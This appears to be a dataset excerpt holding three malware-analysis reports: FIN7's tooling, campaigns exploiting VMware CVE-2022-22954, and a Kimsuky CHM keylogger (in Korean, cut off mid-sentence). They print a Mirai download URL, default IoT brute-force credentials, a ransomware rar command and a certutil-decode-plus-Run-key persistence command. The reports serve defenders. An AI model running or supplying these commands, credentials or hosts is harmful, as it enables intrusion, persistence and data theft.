text
stringlengths
8
115k
# FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7 Recent public research asserts threat groups sharing overlaps with FIN7 transitioned to targeted ransomware operations involving REVIL, DARKSIDE, BLACKMATTER, and ALPHV ransomware. With the purported shift to ransomware operations, Mandiant is publishing our research on the evolution of FIN7 which we haven’t publicly written about since Mahalo FIN7, published in 2019. This blog post draws on organic research from both historical and recent intrusions that Mandiant directly investigated, and describes the process of merging multiple UNC groups into FIN7. This process allowed us to merge eight previously suspected UNC groups into FIN7 in January 2022. We also highlight notable shifts in FIN7 activity over this time, including their use of novel malware, incorporation of new initial access vectors, and likely shift in monetization strategies. FIN7 continued to leverage PowerShell throughout their intrusions, including in a new backdoor called POWERPLANT, which FIN7 has continually developed over the last two years. We also identified new versions of the BIRDWATCH downloader being developed, which are tracked as CROWVIEW and FOWLGAZE. FIN7’s initial access techniques have diversified to include software supply chain compromise and the use of stolen credentials, in addition to their traditional phishing techniques. We also observed FIN7 use POWERPLANT as their first stage malware instead of LOADOUT and/or GRIFFON in newer intrusions. Data theft extortion or ransomware deployment following FIN7-attributed activity at multiple organizations, as well as technical overlaps, suggests that FIN7 actors have been associated with various ransomware operations over time. Mandiant is also tracking multiple notable campaigns as separate UNC groups that we suspect are FIN7, including a “BadUSB” campaign leading to DICELOADER, and multiple phishing campaigns leveraging cloud marketing platforms leading to BIRDWATCH. We first disclosed threat reporting and publicized research on FIN7 in 2017. Since then, we’ve published multiple blog posts on FIN7 operations, with more extensive content available on Mandiant Advantage. In this blog post, we focus on examining the most recent FIN7 intrusion operations, as well as the attribution methodologies that we used. ## Threat Attribution Over Time Our attribution methodology requires multiple layers of overlaps within collected threat data to merge suspected FIN7 UNC groups into our core FIN7 cluster. Merge evidence is sourced from analysis of attacker infrastructure, intrusion tradecraft, modus operandi, and how specific code is employed by the groups we research. Rigorous documentation of technical evidence is critical for modern cybercrime attribution, when considering the fluid and opportunistic nature of cybercriminal operations, as well as individual operators’ narrow allegiances to criminal organizations. It is also common for us to observe multiple threat groups engaging in intrusion operations within close temporal proximity, sometimes even using the same access method within hours or minutes of each other. This is especially notable in the ransomware ecosystem, where Mandiant has observed individual members shift teams, and teams migrate between affiliate programs commonly adopting different TTPs across intrusions depending on who they are collaborating with or gaining access from at a given time. To date, we suspect 17 additional UNCs of being affiliated with FIN7 with varying levels of confidence; however, those groups have not been formally merged into FIN7. Those groups’ activity spans as far back as 2015 and as recently as late 2021, across 36 separate intrusions. Eight previously suspected FIN7 UNC groups, active since 2020, have recently been merged into FIN7, confirming the resilience of actors associated with the threat group. ### 2020 Activity Brief: Heavy on the LOADOUT FIN7 was active during the spring and summer of 2020, conducting phishing campaigns and attempting to distribute LOADOUT and GRIFFON. During that time, five UNC groups were created to track various campaigns, which eventually were merged into our new splinter group of FIN7, following merge analysis later in 2021 that expanded our understanding of FIN7. The impacts of related UNC merges for 2020 activity added usage of code families LOADOUT, TAKEOUT and a BIRDWATCH variant into FIN7. LOADOUT is an obfuscated VBScript-based downloader which harvests extensive information from the infected system. The harvested information is then sent to a command-and-control (C2) server. C2 server responses for LOADOUT infections delivered GRIFFON, a JavaScript-based downloader which retrieves additional JavaScript modules using HTTP or DNS and executes them in memory. In late summer of 2020, FIN7 capped off their busy year with the first observed usage of POWERPLANT. POWERPLANT, also referred to as “KillACK”, is a PowerShell-based backdoor with a breadth of capabilities, initially delivered following a successful GRIFFON infection in August 2020. Merges involving the usage of POWERPLANT into 2021 led us to assess that FIN7 is likely the only operator using POWERPLANT. ### 2021 Activity Brief: A Shift to POWERPLANT We identified an uptick in FIN7-suspected UNC group activity during 2021 across five intrusions, beginning in April of 2021. The uptick led us to initiate a deep-dive research effort into FIN7. We also observed FIN7 shift their initial access techniques away from using LOADOUT, GRIFFON or CARBANAK in favor of direct deployment of POWERPLANT and BEACON. Specifically, FIN7 used POWERPLANT in all observed intrusions in 2021. FIN7 also relied on BEACON as a secondary mode of access alongside some POWERPLANT infections. Throughout 2021 we scrutinized a multitude of FIN7-linked UNC groups to our breadth of past FIN7 intelligence holdings, merging multiple threat clusters along the way. Our research revealed a fusion of older FIN7 intrusion tradecraft, and new FIN7 malware. ### PowerShell Archaeology: FIN7 Habits Die Hard There is no doubt about it, PowerShell is FIN7’s love language. FIN7 has implemented malware into its offensive operations using many programming languages; however, during on-system interactions, FIN7’s preference for boutique PowerShell-based loaders and unique PowerShell commands is dominant. Our deep dive into prior FIN7 intrusions dating as far back as 2019 bubbled up several long-standing patterns of unique PowerShell invocations still being used today. In the first example, command lines had overall low-global prevalence outside of FIN7 and suspected FIN7 UNCs. The unique aspect in the commands is the distinct parameters -noni -nop -exe bypass -f, for launching scripts located in Admin shares and installing Windows services. Since 2019, we have observed FIN7 use command line parameters such as these while interacting with victim systems through backdoor malware such as CARBANAK. We have since seen a shift of some of these distinct PowerShell commands being initiated through POWERPLANT infections. Smaller patterns and consistencies across FIN7 intrusions from 2019 and beyond reveal more distinct PowerShell command lines using -ex bypass -f or -ex bypass -file as passed parameters. Although those patterns appear modest to hunt for, the combinations have extremely low global prevalence outside of FIN7-associated threat activity. In addition to FIN7’s unique command lines during intrusion operations, we identified long-standing usage of other PowerShell code families, such as POWERTRASH. POWERTRASH is an in-memory dropper, or loader, written in PowerShell that executes an embedded payload. Observed payloads loaded by FIN7’s POWERTRASH include CARBANAK, DICELOADER, SUPERSOFT, BEACON and PILLOWMINT. POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub. With this improved understanding of FIN7 intrusion operations, we assembled our analytical efforts to begin merging multiple suspected UNCs into FIN7. As part of this initiative, we identified new FIN7 missions targeting our customers, including a Managed Defense Rapid Response engagement in 2021. ### Managing a Defense FIN7 has targeted a broad spectrum of organizations in multiple industries, including Software, Consulting, Financial Services, Medical Equipment, Cloud Services, Media, Food and Beverage, Transportation, and Utilities. We identified over a dozen intrusions attributed to FIN7 since 2020 across our client base. The following use case profiles recent FIN7 tradecraft during a Mandiant Managed Defense engagement in 2021. To obtain initial access during this intrusion, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server across two separate days, and initiated two similar Windows process chains. FIN7 used established RDP access to eventually install other modes of host control, first by executing PowerShell reconnaissance scripts, then by executing a TERMITE loader. TERMITE is a password-protected shellcode loader which we have observed at least seven distinct threat groups use to load BEACON, METASPLOIT, and BUGHATCH shellcodes. FIN7 used TERMITE to load and execute a shellcode stager for Cobalt Strike BEACON in this case. Following secondary access of BEACON, FIN7 began further enumeration using built-in Windows commands as well as POWERSPLOIT and Kerberoasting PowerShell modules. After the initial reconnaissance using RDP and BEACON, FIN7 executed an obfuscated loader for a victim-customized variant of the PowerShell-based backdoor POWERPLANT, providing tertiary access. FIN7 then attempted to steal credentials and further compromise the victims’ environment with limited success, as the client was able to respond and quickly remediate with the advantage of Managed Defense responders. A unique aspect of this specific intrusion perfectly highlighted the challenges of technical attribution for cybercriminal threats: Between the two days of FIN7 operations on the victim system, FIN12 was also active on the same victim for multiple hours using the same RDP account, but much different infrastructure and tradecraft, attempting to install BEACON using the WEIRDLOOP in-memory dropper before the intrusion was remediated. ### FIN7’s Evasion Among FIN7’s historical trademarks were their creative obfuscation and fast development of evasive techniques. This is still the case, with FIN7 first stage droppers and downloaders being heavily obfuscated. LOADOUT in particular, due to its wide distribution in opportunistic campaigns, has been through several iterations meant to improve evasion. The initial obfuscation mechanism was basic but effective at evading static detections: the malicious code was interspersed with random junk code. After a few months of successful campaigning, AV detection engines improved coverage of the downloader. To get around this, and to send a message, LOADOUT developer(s) broke up the beacon suspected to be used in detection signatures by simply inserting “FUCKAV” into the strings. Indeed, the developer(s) was correct to be suspicious that these strings were being used for detection. By pivoting on the beacon, we discovered a new, work-in-progress variant of LOADOUT submitted to VirusTotal, detected by only one engine. Two hours later, a new version was submitted, this time with the offending PowerShell command obscured through their custom obfuscation mechanism. FIN7 actors have historically tested their tools against public repositories to check static detection engine coverage. It is likely that in this case, they were testing the strength of their custom obfuscation. This new and improved version of LOADOUT emerged five months later. It was refactored to add multiple layers of obfuscation, including interspersed Bible verses as filler text, and string obfuscation through a custom mechanism. ### POWERPLANT: FIN7’s PowerShell Workhorse FIN7 has leveraged multiple methods of initial and secondary access into victim networks including phishing, compromising third-party systems, Atera agent installers, GoToAssist, and RDP. In a recent case, FIN7 actors compromised a website that sells digital products and modified multiple download links to point to an Amazon S3 bucket hosting trojanized versions, containing an Atera agent installer. This remote management tool was later used to deploy POWERPLANT to the victim system. This was the first time Mandiant observed FIN7 leverage supply chain compromise. FIN7’s time-tested CARBANAK and DICELOADER malware continue to be in use; however, we have noticed FIN7 depend more on the POWERPLANT backdoor during recent intrusions. Our research into POWERPLANT has revealed that it is a vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server. POWERPLANT backdoors contain internal version identifiers within the code. We have identified samples ranging from version “0.012” through “0.028”. The rate of increase in these internal version numbers over time suggests that FIN7 is actively developing POWERPLANT. In one engagement, we observed FIN7 deploy incremented versions of POWERPLANT with tweaked functionality to targets in the middle of intrusion operations. During that engagement, versions “0.023” and “0.025” were both used within a 10-minute timeframe. Each version we have identified implements overall similar functionality with some programmatic improvements and features added over time. Mandiant also recovered portions of server-side code components from POWERPLANT controllers. Some of these components contain clues that hint at the operational security mindfulness of the malware’s developers. Two such examples are FIN7 being aware of researchers investigating their infrastructure, and employing capabilities to ban target host aspects such as usernames from the panel. During active C2 sessions, POWERPLANT servers will send multiple additional module types as “tasks” for target systems to execute. Two of these modules are EASYLOOK and BOATLAUNCH. #### EASYLOOK Module EASYLOOK is a reconnaissance utility that FIN7 has used since at least 2019. EASYLOOK captures a wide range of data from infected systems, including operating system version, registration key, system name, username, domain information, and hardware specifications. The initial version of EASYLOOK was delivered by a GRIFFON C2 server and written in JScript. FIN7’s updated variation of EASYLOOK was delivered by a POWERPLANT variant C2 server and written in PowerShell. Both versions implemented the exact same functionality across two code languages. #### BOATLAUNCH Module BOATLAUNCH is a utility sent from FIN7 POWERPLANT controllers that is used as a helper module during intrusion operations. BOATLAUNCH is used to patch PowerShell processes on infected systems to bypass Windows AntiMalware Scan Interface (AMSI). The malware loops, looking for unpatched PowerShell processes, and for each unpatched process the malware locates and patches amsi.dll!AmsiScanBuffer with a 5-byte instruction sequence to always return S_OK. The technique used to patch AMSI is a variation of publicly described common AMSI bypass techniques. Both 32bit and 64bit variants of BOATLAUNCH have been observed using the following export directory DLL names. ### The Curious Cases of BIRDWATCH Our deep dive also revealed usage of BIRDWATCH and its similar variants used by FIN7 and suspected FIN7 groups such as UNC3381. BIRDWATCH is a .NET-based downloader which retrieves payloads over HTTP, writing them to disk and then executing them. BIRDWATCH uploads reconnaissance information from targeted systems as well, which includes running processes, software installed, network configuration, web browser information and active directory data. BIRDWATCH is often referred to collectively as “JssLoader”; however, multiple variations of BIRDWATCH exist which we track as separate code families. One variant of BIRDWATCH is CROWVIEW, which is also .NET-based, but has enough code differences from prototypical BIRDWATCH that we cluster it separately. Unlike BIRDWATCH, CROWVIEW can house an embedded payload, can self-delete, supports additional arguments and stores a slightly different configuration. FIN7 has implemented similar or exact functionality in different programming languages, observed in various code families several times over the past few years. Similar to EASYLOOK, which has both JScript and PowerShell variants, BIRDWATCH and CROWVIEW have separate versions implemented in C++. This data point of code reuse and overlaps aided our technical attribution throughout multiple UNC merges, when combined with additional infrastructure and tradecraft analysis. A final code reuse example is usage of "theAnswer", defined as variable within program functionality of POST requests to C2 controllers for both CROWVIEW and POWERPLANT. Malware code usage is sometimes considered a primary data point for some public threat attribution. Code overlaps by themselves, without sufficient additional data points such as intrusion data and infrastructure, are not strong enough for us to fully assess that an UNC group should be merged. Throughout 2021 and well into 2022, we have identified and will continue to track multiple newly suspected FIN7 UNCs and their activity moving forward. ### Additional Recent Activity from Suspected FIN7 UNCs In October 2021, Mandiant observed a campaign where actors mailed victim organizations “BadUSB” malicious USB devices, primarily targeting U.S.-based organizations. We attribute this campaign to UNC3319, a group which we suspect to be associated with FIN7 with low confidence. The USB hardware was programmed to download STONEBOAT, which ultimately installed the DICELOADER framework on the victim system. STONEBOAT is a previously unseen, .NET-based in-memory dropper which decrypts a shellcode payload embedded in it. The payload is then mapped into memory and executed. STONEBOAT was observed first loading an intermediary loader called DAVESHELL, which then executed the final DICELOADER payload. DAVESHELL is publicly available, open-source code for a launcher of embedded payloads. DAVESHELL is used by nearly 30 threat groups including FIN12; however, the implementation of DAVESHELL shellcode loading DICELOADER was unique to a small cluster of threat activity. Additionally, we’ve identified multiple phishing campaigns distributing BIRDWATCH that have leveraged compromised accounts on various email delivery and marketing platforms, including Maropost, ActiveCampaign, and Mailjet. We attribute this activity to UNC3381, which is suspected to be FIN7 with low confidence. UNC3381 was first observed in September 2021, but we’ve identified similar activity leveraging Mailjet dating back to late 2019, suspected to be UNC3381 with high confidence. Throughout their campaigns, UNC3381 has used nearly identical Quickbooks-themed invoice lures and leveraged the branding of the compromised account that they were sent from, providing additional legitimacy for their phishes. These emails contained a malicious link that goes through the analytics domain associated with the platform they were sent from, before redirecting to a page typically hosted on a compromised domain. ### FIN7 and Ransomware Mandiant published finished intelligence in 2020 which outlined evidence of FIN7’s possible shift in monetization of intrusions from payment card data to extortion operations. Although FIN7’s operations have shifted substantially when compared to their older activity, as of publishing this report, Mandiant has not attributed any direct deployment of ransomware to FIN7. However, the possibility that FIN7 actors are engaging in ransomware operations is also substantiated by evidence outside of our intrusion data holdings and includes code usage, actor infrastructure, and trusted third party sources. In at least two incident response engagements in 2020, FIN7 intrusion operations were identified prior to ransomware encryption, including the use of MAZE and RYUK. Similarly in 2021, Mandiant attributed active FIN7 intrusion activity during an incident response engagement involving ALPHV ransomware. In all these cases, the ransomware deployment is currently attributed to separately tracked threat groups due to factors of the investigation and our visibility. In addition to evidence produced from intrusion data, secondary artifacts suggest FIN7 played a role in at least some DARKSIDE operations. A low global prevalence code signing certificate used by FIN7 in 2021 to sign BEACON and BEAKDROP samples was also used to sign multiple unattributed DARKSIDE samples recovered in the wild. ## Conclusion Despite indictments of members of FIN7 in 2018 and a related sentencing in 2021 announced by the U.S. Department of Justice, at least some members of FIN7 have remained active and continue to evolve their criminal operations over time. Throughout their evolution, FIN7 has increased the speed of their operational tempo, the scope of their targeting, and even possibly their relationships with other ransomware operations in the cybercriminal underground. ## Indicators of Compromise (IOCs) | Indicator | Notes | |-----------|-------| | 0c6b41d25214f04abf9770a7bdfcee5d | BOATLAUNCH 32bit | | 21f153810b82852074f0f0f19c0b3208 | BOATLAUNCH 64bit | | 02699f95f8568f52a00c6d0551be2de5 | POWERPLANT | | 0291df4f7303775225c4044c8f054360 | POWERPLANT | | 0fde02d159c4cd5bf721410ea9e72ee2 | POWERPLANT | | 2cbb015d4c579e464d157faa16994f86 | POWERPLANT | | 3803c82c1b2e28e3e6cca3ca73e6cce7 | POWERPLANT | | 5a6bbcc1e44d3a612222df5238f5e7a8 | POWERPLANT | | 833ae560a2347d5daf05d1f670a40c54 | POWERPLANT | | b637d33dbb951e7ad7fa198cbc9f78bc | POWERPLANT | | bce9b919fa97e2429d14f255acfb18b4 | POWERPLANT | | d1d8902b499b5938404f8cece2918d3d | POWERPLANT | | findoutcredit[.]com | POWERPLANT C2 | | againcome[.]com | POWERPLANT C2 | | modestoobgyn[.]com | POWERPLANT C2 | | myshortbio[.]com | POWERPLANT C2 | | estetictrance[.]com | POWERPLANT C2 | | internethabit[.]com | POWERPLANT C2 | | bestsecure2020[.]com | POWERPLANT C2 | | chyprediction[.]com | POWERPLANT C2 | | d405909fd2fd021372444b7b36a3b806 | POWERTRASH Cryptor & CARBANAK Payload | | 122cb55f1352b9a1aeafc83a85bfb165 | CROWVIEW (BIRDWATCH/JssLoader Variant) | | domenuscdm[.]com | CROWVIEW/LOADOUT C2 | | 936b142d1045802c810e86553b332d2d | LOADOUT | | 23e1725769e99341bc9af48a0df64151 | LOADOUT | | 4d56a1ca28d9427c440ec41b4969caa2 | LOADOUT | | 50260f97ac2365cf0071e7c798b9edda | LOADOUT | | spontaneousance[.]com | LOADOUT C2 | | fashionableeder[.]com | LOADOUT C2 | | incongruousance[.]com | LOADOUT C2 | | electroncador[.]com | LOADOUT C2 | | 6fba605c2a02fc62e6ff1fb8e932a935 | BEAKDROP | | 49ac220edf6d48680f763465c4c2771e | BEACON | | astara20[.]com | BEACON C2 | | coincidencious[.]com | BEACON C2 | | 52f5fcaf4260cb70e8d8c6076dcd0157 | Trojanized installer containing Atera Agent | | 78c828b515e676cc0d021e229318aeb6 | WINGNIGHT | | 70bf088f2815a61ad2b1cc9d6e119a7f | WINGNIGHT | | 4961aec62fac8beeafffa5bfc841fab8 | FLYHIGH | ## Mandiant Security Validation Actions Organizations can validate their security controls against more than 25 actions with Mandiant Security Validation. | VID | Name | |-----|------| | A150-527 | Command and Control - FIN7, BATELEUR, Check-in | | A150-528 | Command and Control - FIN7, GRIFFON, Check-in | | A151-165 | Command and Control - FIN7, GRIFFON, DNS Query #1 | | A151-166 | Command and Control - FIN7, GRIFFON, DNS Query #2 | | A104-585 | Host CLI - FIN7, Local Javascript Execution via WMI and Mshta | | A150-546 | Malicious File Transfer - FIN7, CARBANAK, Download, Variant #1 | | A150-548 | Malicious File Transfer - FIN7, CARBANAK, Download, Variant #3 | | A150-710 | Malicious File Transfer - FIN7, DICELOADER, Download, Variant #1 | | A150-549 | Malicious File Transfer - FIN7, DRIFTPIN, Download, Variant #1 | | A150-550 | Malicious File Transfer - FIN7, DRIFTPIN, Download, Variant #2 | | A151-168 | Malicious File Transfer - FIN7, GRIFFON, Download, JavaScript Variant | | A150-553 | Malicious File Transfer - FIN7, GRIFFON, Download, Variant #1 | | A150-554 | Malicious File Transfer - FIN7, GRIFFON, Download, Variant #2 | | A150-555 | Malicious File Transfer - FIN7, GRIFFON, Download, Variant #3 | | A150-572 | Malicious File Transfer - FIN7, SUPERSOFT, Download, Variant #1 | | A150-729 | Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #1 | | A150-730 | Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #2 | | A150-731 | Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #3 | | A150-585 | Phishing Email - Malicious Attachment, FIN7, BATELEUR DOC Lure | | A150-586 | Phishing Email - Malicious Attachment, FIN7, GRIFFON DOCM Lure | | A151-167 | Phishing Email - Malicious Attachment, FIN7, GRIFFON, Windows 11 Themed Lure | | A150-587 | Phishing Email - Malicious Attachment, FIN7, Tracking Pixel | | A150-590 | Protected Theater - FIN7, BATELEUR, Execution | | A151-044 | Protected Theater - FIN7, CARBANAK, Execution | | A150-366 | Protected Theater - FIN7, CULTSWAP, Execution | | A150-591 | Protected Theater - FIN7, GRIFFON, Execution | | A151-170 | Protected Theater - FIN7, GRIFFON, Execution, JavaScript Variant | | A151-169 | Protected Theater - FIN7, GRIFFON, Execution, Word Document Variant | ## MITRE ATT&CK Mapping Throughout 2020 and 2021, Mandiant has observed FIN7 use the following techniques: ### Execution - T1059: Command and Scripting Interpreter - T1059.001: PowerShell - T1059.003: Windows Command Shell - T1059.005: Visual Basic - T1059.007: JavaScript - T1204.001: Malicious Link - T1204.002: Malicious File - T1569.002: Service Execution ### Initial Access - T1195.002: Compromise Software Supply Chain - T1199: Trusted Relationship - T1566.001: Spearphishing Attachment - T1566.002: Spearphishing Link ### Impact - T1491.002: External Defacement ### Resource Development - T1583.003: Virtual Private Server - T1588.003: Code Signing Certificates - T1588.004: Digital Certificates - T1608.003: Install Digital Certificate - T1608.005: Link Target ### Defense Evasion - T1027: Obfuscated Files or Information - T1027.005: Indicator Removal from Tools - T1036: Masquerading - T1036.003: Rename System Utilities - T1055: Process Injection - T1070.004: File Deletion - T1140: Deobfuscate/Decode Files or Information - T1218.010: Regsvr32 - T1218.011: Rundll32 - T1497.001: System Checks - T1553.002: Code Signing - T1564.003: Hidden Window - T1620: Reflective Code Loading ### Collection - T1113: Screen Capture - T1213: Data from Information Repositories - T1560: Archive Collected Data ### Lateral Movement - T1021.001: Remote Desktop Protocol - T1021.004: SSH ### Command and Control - T1071.001: Web Protocols - T1090: Proxy - T1095: Non-Application Layer Protocol - T1105: Ingress Tool Transfer - T1132.001: Standard Encoding - T1573.002: Asymmetric Cryptography ### Discovery - T1012: Query Registry - T1033: System Owner/User Discovery - T1057: Process Discovery - T1069: Permission Groups Discovery - T1069.002: Domain Groups - T1082: System Information Discovery - T1083: File and Directory Discovery - T1087: Account Discovery - T1087.002: Domain Account - T1482: Domain Trust Discovery - T1518: Software Discovery ### Credential Access - T1110.002: Password Cracking - T1555.003: Credentials from Web Browsers - T1558.003: Kerberoasting
# Mirai, RAR1Ransom, and GuardMiner – Multiple Malware Campaigns Target VMware Vulnerability In April, VMware patched a vulnerability CVE-2022-22954. It causes server-side template injection because of the lack of sanitization on parameters “deviceUdid” and “devicetype”. It allows attackers to inject a payload and achieve remote code execution on VMware Workspace ONE Access and Identity Manager. FortiGuard Labs published a Threat Signal Report about it and also developed an IPS signature in April. We observed attacks in the wild since then. Most of the payloads focus on probing a victim’s sensitive data, for example, passwords, hosts file, etc. But in August, there were a few particular payloads that got our interest. They had the intention of deploying Mirai targeting exposed networking devices running Linux, RAR1ransom that leverages legitimate WinRaR to deploy encryption, and GuardMiner that is a variant of xmrig used to “mine” Monero. In this blog, we will elaborate on how these malware leveraged the VMware vulnerability and the behavior after exploitation in more detail. **Affected platforms:** VMware Workspace ONE Access and Identity Manager **Impacted parties:** VMware users **Impact:** Attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands **Severity level:** Critical ## Mirai Variant The complete payload from Mirai enters the temp directory and downloads a Mirai variant from `http://107.189.8.21/pedalcheta/cutie.x86_64`, then executes with parameter “VMware”. Like most Mirai botnets, this variant’s main jobs include deploying DoS and launching a brute force attack. We can decode part of the configuration after we XOR the data with 0x54 and get the C2 server as `cnc.goodpackets.cc`. Following is the decoded strings: We also identify the brute force function with encoded account and password strings. The decoded passwords are listed below; they are commonly used passwords and also some default credentials for well-known IoT devices: - hikvision 1234 - win1dows S2fGqNFs - root tsgoingon - default solokey - bin user - 059AnkJ telnetadmin - 141388 123456 - adaptec 20080826 - Administrator 1001chin - NULL xc3511 - bbsd-client vizxv - par0t hg2x0 - cablecom hunt5759 - pointofsale nflection - icatch99 password - 3com DOCSIS_APP - OxhlwSG8 After being executed, the variant shows the hardcoded string “InfectedNight did its job” and sends a heartbeat along with parameter “VMware”, then it will wait for further commands from the C2 server. ## Initialization Script for RAR1Ransom and GuardMiner Another noticeable payload is from `67.205.145.142`. It contains two sessions, each with different commands depending on the victim’s operating system. One leveraged PowerShell to download “init.ps1”, the other uses curl, wget, and urlopen in Python library to download “init.sh”. From the PowerShell script file “init.ps1”, it includes a few links to cloudflare-ipfs.com for further attack, and each file has its own backup link to crustwebsites.net. There are 7 files for initialization: - phpupdate.exe: Xmrig Monero mining software - config.json: Configuration file for mining pools - networkmanager.exe: Executable used to scan and spread infection - phpguard.exe: Executable used for guardian Xmrig miner to keep running - init.ps1: Script file itself to sustain persistence via creating scheduled task - clean.bat: Script file to remove other cryptominers on the compromised host - encrypt.exe: RAR1 ransomware In the “start encrypt” section, it first checks “flag_encrypt.flag” before launching RAR1ransom. If the flag file existed and the “encrypt.exe” was also downloaded before, it will delete “encrypt.exe” and go to the next stage. Otherwise, it checks the file size to determine if the file path should be updated or not. Finally, it executes the ransomware after checking the process. The detail of RAR1 ransomware will be elaborated in the next section. Then, the script starts the GuardMiner attack. GuardMiner is a cross-platform mining Trojan, which has been active since 2020. In this version, it also drops the script file “init.sh” for the Linux system. We also noticed that GuardMiner updates “networkmanager.exe” with the more recent vulnerability. From the name of each exploit module, it might collect the exploit list from Chaitin Tech Github which is for security testing purposes. We extract the complete vulnerability list below: - eyou-email-system-rce - thinkphp5-controller-rce - terramaster-tos-rce-cve-2020-28188 - thinkphp5023-method-rce - yonyou-grp-u8-sqli-to-rce - CVE-2022-22954-VMware-RCE ## RAR1Ransom RAR1ransom drops “rar.exe” in C:/Windows/Temp folder, which is legitimate WinRaR software to compress a victim’s files with a password. It uses several default options in WinRaR to complete the encryption for efficiency. The whole command is below, options “df” and “m0” mean delete files after adding files to archive without compression, “mt10” means it will use ten threads, and “ep” means exclude path from name. The “hp” is to encrypt both file data and headers with a password. ``` C:/Windows/Temp/rar.exe a -df -m0 -mt10 -ep -hpVbDsLHSfbomQiQ6YuP7m1ZaNP0LQqYpzrkjwvuNSjsnQlicOxNPi0iKzKeQO1Besbpbx1iKWNeOfFQDEw8qaoAGmN1Nx9i0vbUcr "C:/Python27/Lib/json/MVXGG33EMVZC44DZ.rar1" "C:/Python27/Lib/json/MVXGG33EMVZC44DZ" ``` RAR1Ransom targets a compromised victim’s file with particular extensions. All the encrypted files will have a unique filename and “.rar1” extension, and it drops a text file “READ_TO_DECRYPT.txt” in the same folder with a message. From the wallet string in the ransom note, which is identical to the one in the miner’s configuration, we can tell the attacker intends to utilize a victim’s resources as much as possible, not only to install RAR1Ransom for extortion but also to spread GuardMiner to collect cryptocurrency. ## Conclusion Although the critical vulnerability CVE-2022-22954 is already patched in April, there are still multiple malware campaigns trying to exploit it. Users should always keep systems updated and patched and be aware of any suspicious processes in the environment. These Mirai variants, RAR1Ransom, and GuardMiner are not extremely complicated samples, but their methods are always changing and evolving. FortiGuard Labs will continue to monitor and provide the latest updates. ## Fortinet Protections Fortinet released IPS signature VMware.Workspace.ONE.Access.Catalog.Remote.Code.Execution for CVE-2022-22954 to proactively protect our customers. The signature is officially released in IPS definition version 20.297. The scripts and malware are detected and blocked by FortiGuard Antivirus, and FortiEDR services: - Adware/Miner - W32/PossibleThreat - Riskware/Agent - BASH/CoinMiner.RZ!tr - PowerShell/CoinMiner.BW!tr - ELF/GuardMiner.A!tr - W64/GuardMiner.A!tr - BAT/Cleaner.CC41!tr ## IOCs **SHA256:** - 66db83136c463441ea56fb1b5901c505bcd1ed52a73e23d7298f7055db2108d1 - 4761e5d9bd3ebe647fbd7840b7d2d9c1334bde63d5f6b05a4ed89af7aa3a6eab - 9c00823295f393358762542418bb767b44cfe285c4ab33e7e57902c6e1c2dacb - 23270d23f8485e3060f6ea8c9879177781098b1ed1b5117579d2f4d309aeffd2 - 4b3578ee9e81f356a89ff2e1aff6bbee8441472869b0c6c4792fc9fd486a0df5 - 0212b447c25e9db55f7270e1e2a45846e2261445474845997a314cb1ddeea4f7 - a372e07a691f8759e482615fd7624bfca2a2bc2cd8652a47ff9951ff035759a5 - f2a6827ea5f60cefc2f6528269b2d1557a7cc1e68f84edca4029e819dd0509cb - 4b4c0d3cb708612b1fdb0394e029e507e4c0f6136fc44e415200694624ed5b68 - 7fc7c242ad1fa439e515725561a9e304b3d94e40ba91f61df77471a4c2ff2b39
# 대북 관련 질문지를 위장한 CHM 악성코드 (Kimsuky) By ye_eun 2023년 3월 8일 ASEC(AhnLab Security Emergency response Center)은 최근 Kimsuky 그룹에서 제작한 것으로 추정되는 CHM 악성코드를 확인하였다. 해당 악성코드 유형은 아래 ASEC 블로그 및 Kimsuky 그룹 유포 악성코드 분석 보고서에서 소개한 악성코드와 동일하며 사용자 정보 유출을 목적으로 한다. CHM 파일은 압축 파일 형태로 이메일에 첨부되어 유포된다. 원문 메일에는 대북 관련 내용의 인터뷰 요청으로 위장하였으며 메일 수신인이 이를 수락할 경우 암호가 설정된 압축 파일을 첨부하여 회신한다. 이는 기존에 분석된 내용과 유사하게 대북 관련 인터뷰를 위장하고 있을 뿐만 아니라 사용자가 메일에 회신한 경우에만 악성 파일을 전달하는 동일한 방식을 사용했다. 인터뷰 질의문(***).chm 파일 실행 시 아래와 같이 실제 질문이 작성된 도움말 창이 나타나 사용자가 악성 파일임을 알아차리기 어렵다. CHM에는 악성 스크립트가 존재하며 이전에 소개된 CHM 악성코드들과 동일하게 바로가기 객체(ShortCut)를 이용하였다. 바로가기 객체는 Click 메서드를 통해 호출되며 Item1 항목에 존재하는 명령어가 실행된다. ‘인터뷰 질의문(***).chm’을 통해 실행되는 명령어는 다음과 같다. ``` 실행 명령어 cmd, /c echo [인코딩된 명령어] > “%USERPROFILE%\Links\Document.dat” & start /MIN certutil -decode “%USERPROFILE%\Links\Document.dat” “%USERPROFILE%\Links\Document.vbs” & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d “%USERPROFILE%\Links\Document.vbs” /f ``` 따라서 CHM 실행 시 인코딩된 명령어가 %USERPROFILE%\Links\Document.dat에 저장되고 Certutil을 이용하여 디코딩한 명령어를 %USERPROFILE%\Links\Document.vbs에 저장한다. 공격자는 또한 Document.vbs를 Run 키 (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)에 등록하여 악성 스크립트가 지속적으로 실행될 수 있도록 하였다. 최종적으로 Document.vbs는 hxxp://mpevalr.ria[.]monster/SmtInfo/demo.txt의 파워쉘 스크립트 코드를 실행한다. Document.vbs에서 연결하는 URL은 현재 접속되지 않지만, 해당 주소에서 다운로드된 것으로 추정되는 스크립트가 확인되었다. 확인된 스크립트 파일은 사용자의 키 입력을 가로채 특정 파일에 저장한 후 공격자에게 전송하는 기능을 수행한다. 현재 작업 중인 ForegroundWindow의 캡션을 읽어와 키로깅을 수행할 뿐만 아니라 Clipboard 내용을 주기적으로 확인하여 %APPDATA%\Microsoft\Windows\Templates\Pages_Elements.xml 파일에 저장한다. 이후 해당 파일을 hxxp://mpevalr.ria[.]monster/SmtInfo/show.php로 전송한다. [그림 6]과 [그림 7]에서 알 수 있듯이 Document.vbs(VBS 스크립트 파일)와 demo.txt(파워쉘 스크립트 파일)은 지난해 ATIP에서 공개한 ‘Kimsuky 그룹 유포 악성코드 